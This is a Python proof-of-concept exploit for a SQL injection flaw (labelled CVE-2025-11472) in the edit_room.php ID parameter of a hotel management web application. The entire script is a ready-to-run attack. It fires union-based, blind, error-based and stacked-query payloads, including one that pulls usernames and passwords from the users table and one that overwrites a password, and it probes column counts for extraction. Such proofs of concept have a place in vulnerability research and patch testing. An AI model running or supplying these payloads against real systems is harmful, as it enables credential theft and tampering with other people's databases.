# CVE-2025-11472 - SourceCodester Hotel and Lodge Management System SQL Injection PoC
# Vulnerability: SQL Injection in /edit_room.php via ID parameter
# Author: Security Researcher
import requests
import sys
TARGET_URL = "http://target.com"
INJECTION_PATH = "/edit_room.php"
def exploit_sql_injection(target_url, injection_payload):
"""
Exploit SQL injection vulnerability in edit_room.php ID parameter
"""
target_endpoint = target_url.rstrip('/') + INJECTION_PATH
# Construct malicious ID parameter with SQL injection payload
params = {
'id': injection_payload
}
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': 'en-US,en;q=0.5',
'Connection': 'keep-alive',
}
try:
response = requests.get(target_endpoint, params=params, headers=headers, timeout=10)
if response.status_code == 200:
print(f"[+] Request successful - Status: {response.status_code}")
print(f"[+] Response length: {len(response.text)}")
# Check for database error messages indicating SQL injection vulnerability
error_indicators = [
"You have an error in your SQL syntax",
"mysql_fetch_array()",
"mysql_num_rows()",
"Warning: mysql",
"Unclosed quotation mark",
"SQLSTATE"
]
for indicator in error_indicators:
if indicator.lower() in response.text.lower():
print(f"[+] SQL Injection confirmed - Found indicator: {indicator}")
return True
print("[*] No explicit error indicators found, but request was processed")
return True
else:
print(f"[-] Request failed - Status: {response.status_code}")
return False
except requests.exceptions.RequestException as e:
print(f"[-] Connection error: {str(e)}")
return False
def test_injection_payloads(target_url):
"""Test various SQL injection payloads against the target"""
payloads = [
# Basic SQL injection test
"1' OR '1'='1",
# Union-based injection to extract data
"1' UNION SELECT 1,2,3-- -",
"1' UNION SELECT username,password,3 FROM users-- -",
# Boolean-based blind injection
"1' AND 1=1-- -",
"1' AND 1=2-- -",
# Time-based blind injection
"1' AND SLEEP(5)-- -",
# Error-based injection
"1' AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT((SELECT database()),0x3a,FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)-- -",
# Stacked queries
"1'; UPDATE users SET password='hacked' WHERE id=1-- -",
]
print(f"[*] Testing SQL injection on: {target_url}")
print("=" * 60)
for i, payload in enumerate(payloads, 1):
print(f"\n[*] Testing payload {i}: {payload[:50]}...")
result = exploit_sql_injection(target_url, payload)
if result:
print(f"[+] Payload {i} may be successful")
def extract_database_info(target_url):
"""Attempt to extract database information using UNION-based injection"""
print("\n[*] Attempting to extract database information...")
# Try to determine number of columns
for i in range(1, 15):
columns = ",".join([str(x) for x in range(1, i+1)])
payload = f"1' UNION SELECT {columns}-- -"
try:
response = requests.get(
target_url.rstrip('/') + INJECTION_PATH,
params={'id': payload},
timeout=10
)
if response.status_code == 200 and "error" not in response.text.lower():
print(f"[+] Number of columns: {i}")
return i
except:
continue
return None
if __name__ == "__main__":
if len(sys.argv) > 1:
target = sys.argv[1]
else:
target = TARGET_URL
test_injection_payloads(target)
extract_database_info(target)
print("\n[*] Exploitation complete")
print("[*] Recommend checking extracted data and securing the application")